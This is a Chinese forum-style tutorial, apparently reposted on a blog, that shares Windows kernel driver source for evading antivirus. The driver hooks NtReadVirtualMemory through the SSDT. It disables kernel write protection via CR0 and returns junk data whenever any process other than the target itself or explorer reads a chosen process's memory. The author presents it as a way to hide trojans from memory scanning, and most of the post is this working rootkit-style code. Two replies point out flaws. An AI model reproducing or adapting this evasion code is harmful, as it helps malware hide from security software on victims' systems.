zoukankan      html  css  js  c++  java
  • hook NtReadVirtualMemory干扰杀软扫描

     

     
    信息来源:邪恶八进制信息安全团队(www.eviloctal.com
    文章作者:asm(http://www.sbasm.cn)

    写了个对抗扫描的东西,跟大家分享!技术含量不高,大牛飘过。
    一直以来写的都是ring3代码,现在很认真的拼凑了一份山寨版的驱动代码,很久没这么认真过了。希望哪位大牛能指点一下,指出代码中可能存在BOSD的隐患。其他人就跟我一起学习吧~~ 

    很久以来,做木马免杀一般都是文件表面免杀,内存免杀。文件免杀一般的思路是通过修改代码重,或者文件自身来做到。另外还有一种免杀方式就是隐藏你的木马,让杀软认为你的木马是不存在的,自然就达到免杀的效果了。
    内存免杀其实不需要用OD来修改,有两种办法就可以,第一,隐藏内存dll木马的模块,第二,挂钩杀软扫描内存所需要的函数,一般是NtReadVirtualMemory即可到达内存免杀的效果。
    隐藏内存模块,我所知道的有3种办法,第一,先给dll做一份内存拷贝,接着FreeLibrary释放原来的dll模块,再次申请和原来同样基址的内存,并还原dll即可;第二:摘链;第三:就是本文所说的挂钩NtReadVirtualMemory。有很多办法可以挂钩,这里我选择SSDT,呵呵,被人玩烂了的玩意,但是却也是相对成熟稳定的一种hook的方式,科普一下吧,毕竟还是有很多人徘徊在门外的 :)
    已经尽最大努力去除硬编码了,下面是部分代码(完整代码见压缩包):
     
     
    代码:
    /*

       web: http://www.sbasm.cn/

    */
    #include <ntddk.h>
    #include "struct.h"

    //int pos_CreateFile;     /* 保存这些函数的服务号 */
    int pos_ReadVirtualMemory;

    UNICODE_STRING uProcessName;
    UNICODE_STRING MyuProcessName;
    ANSI_STRING aProcessName;

    //特殊的值,目标进程的ID
    DWORD        dwTargetProcessID;

    #define MY_CONTROL_CODE   0x4021
    #define IOCTL_SET_TARGET_PROCESS_ID   (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, MY_CONTROL_CODE, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA )

    //一些常量定义
    #define EPROCESS_SIZE           1  
    #define PEB_OFFSET              2  
    #define FILE_NAME_OFFSET        3  
    #define PROCESS_LINK_OFFSET     4  
    #define PROCESS_ID_OFFSET       5  
    #define EXIT_TIME_OFFSET        6  

    DWORD GetPlantformDependentInfo ( DWORD dwFlag )   
    {    
            DWORD current_build;    
            DWORD ans = 0;
            
            PsGetVersion(NULL, NULL,&current_build, NULL);    
            switch ( dwFlag )   
            {    
            case EPROCESS_SIZE:    
                    if (current_build == 2195) ans = 0 ;        // 2000,当前不支持2000,下同   
                    if (current_build == 2600) ans = 0x25C;     // xp   
                    if (current_build == 3790) ans = 0x270;     // 2003   
                    break;    
            case PEB_OFFSET:    
                    if (current_build == 2195)  ans = 0;    
                    if (current_build == 2600)  ans = 0x1b0;    
                    if (current_build == 3790)  ans = 0x1a0;   
                    break;    
            case FILE_NAME_OFFSET:    
                    if (current_build == 2195)  ans = 0;    
                    if (current_build == 2600)  ans = 0x174;    
                    if (current_build == 3790)  ans = 0x164;   
                    break;    
            case PROCESS_LINK_OFFSET:    
                    if (current_build == 2195)  ans = 0;    
                    if (current_build == 2600)  ans = 0x088;    
                    if (current_build == 3790)  ans = 0x098;   
                    break;    
            case PROCESS_ID_OFFSET:    
                    if (current_build == 2195)  ans = 0;    
                    if (current_build == 2600)  ans = 0x084;    
                    if (current_build == 3790)  ans = 0x094;   
                    break;    
            case EXIT_TIME_OFFSET:    
                    if (current_build == 2195)  ans = 0;    
                    if (current_build == 2600)  ans = 0x078;    
                    if (current_build == 3790)  ans = 0x088;   
                    break;    
            }    
            return ans;    
    }  

    /*++

    函数名: HookNtReadVirtualMemory

    参数:
        IN HANDLE ProcessHandle,
        IN PVOID BaseAddress,
        OUT PVOID Buffer,
        IN ULONG BufferLength,
        OUT PULONG ReturnLength OPTIONAL

    功能:
    隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回垃圾数据扰乱扫描过程

    返回:
    NTSTATUS

    说明:
                    //得到了进程对象的对象体,也就是进程的eprocess结构,在xp sp3下,eprocess偏移
                    //+0x084 就是一个4字节的UniqueProcessId 调用一个GetPlantformDependentInfo即可获得不同版本的 UniqueProcessId


    --*/

    NTSTATUS
    HookNtReadVirtualMemory(
                                              IN HANDLE ProcessHandle,
                                              IN PVOID BaseAddress,
                                              OUT PVOID Buffer,
                                              IN ULONG BufferLength,
                                              OUT PULONG ReturnLength OPTIONAL
                                              )
    {
            NTSTATUS        ret;
            PVOID                pEprocess;   //通过进程句柄得到ID
            PVOID                pExplorer_Eprocess;  //过滤掉桌面进程explorer时用到的一个EPROCESS类型临时变量
            DWORD                dwCurrentPID;  //当前ProcessHandle句柄对应的进程号

            DWORD dwProcessId;
            DWORD dwFileName;
            
            pEprocess = NULL;

            dwProcessId = GetPlantformDependentInfo(PROCESS_ID_OFFSET);    
        dwFileName  = GetPlantformDependentInfo(FILE_NAME_OFFSET);

            ret = ObReferenceObjectByHandle(ProcessHandle , 0, NULL, KernelMode, &pEprocess, NULL);
            if(STATUS_SUCCESS == ret)
            {
                    DbgPrint("the caller ProcessName is %s ",(PUCHAR)((BYTE*)pEprocess + dwFileName));
                    dwCurrentPID = *(DWORD*)((BYTE*)pEprocess+dwProcessId);         //得到被扫描的进程的PID

                    if(dwCurrentPID == dwTargetProcessID)   //dwTargetProcessID                 //如果被扫描的进程PID跟预定的一样,那么就开始bypass
                    {        
                            DbgPrint("call NtReadVirtualMemory!Target Process is %d.  The Caller is %d ",dwTargetProcessID, PsGetCurrentProcessId());

                            if(dwTargetProcessID == (DWORD)PsGetCurrentProcessId())  //排除自己调用NtReadVirtualMemory来读取自己内存的情况
                            {
                                    DbgPrint("call NtReadVirtualMemory by myself ");
                                    goto Next;
                            }
                                    pExplorer_Eprocess = PsGetCurrentProcess();        //得到当前进程eprocess结构

                                    RtlInitUnicodeString(&uProcessName,L"explorer.exe");
                                    RtlInitAnsiString(&aProcessName,(PUCHAR)((BYTE*)pExplorer_Eprocess + dwFileName));
                                    RtlAnsiStringToUnicodeString(&MyuProcessName,&aProcessName,TRUE);
                                    DbgPrint("call NtReadVirtualMemory by %wZ ---%wZ ",&MyuProcessName,&uProcessName);

                                    if(RtlCompareUnicodeString(&uProcessName,&MyuProcessName, TRUE) == 0)  //不区分大小写的对比!
                                    {
                                            DbgPrint("call NtReadVirtualMemory by explorer process "); //排除explorer调用NtReadVirtualMemory来读取自己内存的情况
                                            goto Next;
                                    }
                                    DbgPrint("call NtReadVirtualMemory by other process %d ",PsGetCurrentProcessId());
                                    //排除了自己对自己的内存操作,桌面进程对所关心的进程的操作之外,其他的一切进程对多关心的进程进行操作,一律pass
                                    ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(
                                            ProcessHandle,
                                            BaseAddress,
                                            L"ffffffffff",      //自定义的垃圾数据
                                            BufferLength,
                                            ReturnLength
                                            );
                                    return ret;
                    }
            }
    Next:
            ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(
                    ProcessHandle,
                    BaseAddress,
                    Buffer,
                    BufferLength,
                    ReturnLength
                    );
            return ret;
    }
    /////////////////////////////////////////////////////////////////         --          --     
    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//     --     -      -     -- 
    //+                                                           +//     --      -   -       -- 
    //+          下面2个函数用于得到部分SDT函数的地址             +//      --       -        --  
    //+                                                           +//       -     sudami     -   
    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//        --            --    
    /////////////////////////////////////////////////////////////////          --        --  
    //                                                                           --    --
    //                                                                                        --
    DWORD GetDllFunctionAddress (
                                               char* lpFunctionName, 
                                               PUNICODE_STRING pDllName
                                               )
                                               /*++

                                               逆向: sudami  08/02/28

                                               参数:
                                               lpFunctionName - 函数名称
                                               pDllName - 要映射的模块名称

                                               功能 : 
                                               把给定的模块映射到内存,读取其EAT,得到Zw系列函数地址,还在R3中,

                                               1.  映射ntdll.dll到内存-->ZwMapViewOfSection.
                                               2.  搜索其EAT, 得到 ZwXxxx的地址p
                                               3.  p + 1 处便是ntdll.dll 转入ntoskrnl.exe的服务号. 
                                               4.  NtXxxx 的地址 就可以通过这个服务号 在KeServiceDescriptorTable中取出
                                               5. 用你的fake函数替换掉即可.

                                               --*/
    {
            HANDLE hThread, hSection, hFile, hMod;
            SECTION_IMAGE_INFORMATION sii;
            IMAGE_DOS_HEADER* dosheader;
            IMAGE_OPTIONAL_HEADER* opthdr;
            IMAGE_EXPORT_DIRECTORY* pExportTable;
            DWORD* arrayOfFunctionAddresses;
            DWORD* arrayOfFunctionNames;
            WORD* arrayOfFunctionOrdinals;
            DWORD functionOrdinal;
            DWORD Base, x, functionAddress;
            char* functionName;
            STRING ntFunctionName, ntFunctionNameSearch;
            PVOID BaseAddress = NULL;
            SIZE_T size=0;

            OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};

            IO_STATUS_BLOCK iosb;

            //_asm int 3;
            ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

            oa.ObjectName = 0;

            ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);

            ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);

            ZwClose(hFile);

            hMod = BaseAddress;

            dosheader = (IMAGE_DOS_HEADER *)hMod;

            opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

            pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);

            arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);

            arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);

            arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

            Base = pExportTable->Base;

            RtlInitString(&ntFunctionNameSearch, lpFunctionName);

            for(x = 0; x < pExportTable->NumberOfFunctions; x++) {
                    functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);

                    RtlInitString(&ntFunctionName, functionName);

                    functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; 
                    functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
                    if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) {
                            ZwClose(hSection);
                            return functionAddress;
                    }
            }

            ZwClose(hSection);
            return 0;
    }

    NTSTATUS
    DispatchCreate(
            IN PDEVICE_OBJECT                DeviceObject,
            IN PIRP                                        Irp
            )
    {
            NTSTATUS status = STATUS_SUCCESS;

        Irp->IoStatus.Information = 0;

            //dprintf("[KsBinSword] IRP_MJ_CREATE ");

        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);

        return status;
    }

    NTSTATUS
    DispatchClose(
            IN PDEVICE_OBJECT                DeviceObject,
            IN PIRP                                        Irp
            )
    {
            NTSTATUS status = STATUS_SUCCESS;
        //DbgBreakPoint();
        Irp->IoStatus.Information = 0;

            //dprintf("[KsBinSword] IRP_MJ_CLOSE ");

        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);

        return status;
    }

    NTSTATUS
    DispatchDeviceControl(
            IN PDEVICE_OBJECT                DeviceObject,
            IN PIRP                                        irp
            )
    {
             PIO_STACK_LOCATION irpStack;
        PVOID              InputBuffer;                //如果用到的话,会指向输入缓冲区
        PVOID              OutputBuffer;        //同上,输出缓冲区
        ULONG              IoControlCode;        //控制码
            DWORD                           dwOutBufferLen;        //输出缓冲区长度
            DWORD                           dwInBufferLen;        //输入缓冲区长度

            NTSTATUS           ntstatus;

        ntstatus = irp->IoStatus.Status = STATUS_SUCCESS;
        irp->IoStatus.Information = 0;

        irpStack = IoGetCurrentIrpStackLocation( irp ); //得到堆栈指针
            //控制码
        IoControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

            //控制码操作
        switch ( IoControlCode ) 
            {        
                    //传递目标进程ID给驱动,用户层给驱动数据
                    case IOCTL_SET_TARGET_PROCESS_ID:        //这里需要用到r3的输入,即进程ID号
                                    //得到输入
                                    InputBuffer = irp->AssociatedIrp.SystemBuffer;
                                    dwInBufferLen = irpStack->Parameters.DeviceIoControl.InputBufferLength;
                                    if(dwInBufferLen != sizeof(DWORD))        //输入的肯定是个DWORD
                                    {        DbgPrint("IOCTL_SET_TARGET_PROCESS_ID error ");
                                            break;
                                    }
                                    dwTargetProcessID = *(PULONG)InputBuffer;  //好了,应该这样就得到ID号了
                                    break;
                    default:        
                            DbgPrint("no such IOCODE ");
                            irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
                            break;
            }

            ntstatus = irp->IoStatus.Status;

        IoCompleteRequest( irp, IO_NO_INCREMENT );

        return ntstatus;
    }
    // 驱动入口
    NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
    {
            NTSTATUS ntStatus = STATUS_SUCCESS;
        PDEVICE_OBJECT Device;
        UNICODE_STRING DeviceName, DeviceLink;  //设备名,符号链接名

        DbgPrint("[MyDriver] DriverEntry ");

        RtlInitUnicodeString(&DeviceName, L"\Device\MyDriver");         //初始化设备名
        RtlInitUnicodeString(&DeviceLink, L"\DosDevices\MyDriver");  //初始化符号链接名

        /* IoCreateDevice 生成设备对象 */
        ntStatus = IoCreateDevice(DriverObject,         //生成设备的驱动对象
                                  0,                    //设备扩展区内存大小
                                  &DeviceName,          //设备名,DeviceMyDriver
                                  FILE_DEVICE_UNKNOWN,  //设备类型
                                  0,                    //填写0即可
                                  FALSE,                //必须为FALSE
                                  &Device);             //设备对象指针返回到DeviceObject中
        if (!NT_SUCCESS(ntStatus))
        {
            DbgPrint("[MyDriver] IoCreateDevice FALSE: %.8X ", ntStatus);
            return ntStatus;  //生成失败就返回
        }
        else
            DbgPrint("[MyDriver] IoCreateDevice SUCCESS ");

        /* IoCreateSymbolicLink 生成符号链接 */
        ntStatus = IoCreateSymbolicLink(&DeviceLink, &DeviceName);
        if (!NT_SUCCESS(ntStatus))
        {
            DbgPrint("[MyDriver] IoCreateSymbolicLink FALSE: %.8X ", ntStatus);
            IoDeleteDevice(Device);  //删除设备
            return ntStatus;
        }
        else
            DbgPrint("[MyDriver] IoCreateSymbolicLink SUCCESS ");

        Device->Flags &= ~DO_DEVICE_INITIALIZING;  //设备初始化完成标记

        DriverObject->MajorFunction[IRP_MJ_CREATE]         = DispatchCreate;
        DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DispatchClose;
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;
        DriverObject->DriverUnload                         = OnUnload;

            Hook();    //SSDT hook
        return ntStatus;
    }
    // 驱动卸载
    VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
    {
            UNICODE_STRING dosDeviceName;

            Unhook();

        RtlInitUnicodeString(&dosDeviceName, L"\DosDevices\MyDriver");

        IoDeleteSymbolicLink(&dosDeviceName);

            if (DriverObject->DeviceObject != NULL)
        {
            IoDeleteDevice(DriverObject->DeviceObject);  //删除设备
        }
    }

    //   此处修改SSDT中的NtCreateFile服务地址
    VOID Hook()
    {
            UNICODE_STRING dllName;
            DWORD          functionAddress;
            int            position;


            RtlInitUnicodeString( &dllName, L"\Device\HarddiskVolume1\Windows\System32\ntdll.dll" );

            //获取NtReadVirtualMemory的服务号完毕!
            functionAddress = GetDllFunctionAddress("NtReadVirtualMemory", &dllName);
            position        = *((WORD*)( functionAddress + 1 ));
            pos_ReadVirtualMemory  = position;
            //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

            OldNtReadVirtualMemory = (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory));  //得到NtReadVirtualMemory函数的原始地址
            DbgPrint( "Address of Real OldNtReadVirtualMemory: 0x%08X ", OldNtReadVirtualMemory );


            // 去掉内存保护
            __asm
            {
                    cli
                            mov     eax, cr0
                            and     eax, not 10000h
                            mov     cr0, eax
            }

            (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = HookNtReadVirtualMemory; //SSDT HOOK NtReadVirtualMemory
            DbgPrint(" Address of HookNtReadVirtualMemory: 0x%08X ", HookNtReadVirtualMemory );

            // 恢复内存保护
            __asm
            {
                    mov     eax, cr0
                            or     eax, 10000h
                            mov     cr0, eax
                            sti
            }
    }

    //////////////////////////////////////////////////////
    VOID Unhook()
    {
            __asm
            {
                    cli
                            mov     eax, cr0
                            and     eax, not 10000h
                            mov     cr0, eax
            }

            // 还原SSDT
            (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = OldNtReadVirtualMemory;
            __asm
            {
                    mov     eax, cr0
                            or     eax, 10000h
                            mov     cr0, eax
                            sti
            }
            DbgPrint("Unhook");
    }
    PS:已经很久没像以前那样有时间写点小东西跟大家分享了
     
    2楼 sudami
    很用心,思路简单明了. 

    一点儿见解:
    杀毒软件一般是在驱动中attach到指定进程直接读内存的,不需要调用Nt*系列的科普函数; 
    好多软件是事先保存SSDT的原始地址到全局变量中,再进行调用(eg:微点).
     
    3楼 grayfox
    比较PID不保险啊,+1 +2 +3就绕过了
     
     
     
     
     
  • 相关阅读:
    《C++标准程序库》 第6章 STL Container
    《C++语言99个常见编程错误》
    单例模式
    《C++标准程序库》 第7章 Iterator Adapters
    Shell颜色封装(C++)
    《改善C++程序的150个建议》
    OpenCV之图片的创建、保存和复制
    XMLDOM对象方法:对象事件
    三国中最精辟的十句话
    中国十大名茶及鉴别方法
  • 原文地址:https://www.cnblogs.com/huhu0013/p/3312237.html
Copyright © 2011-2022 走看看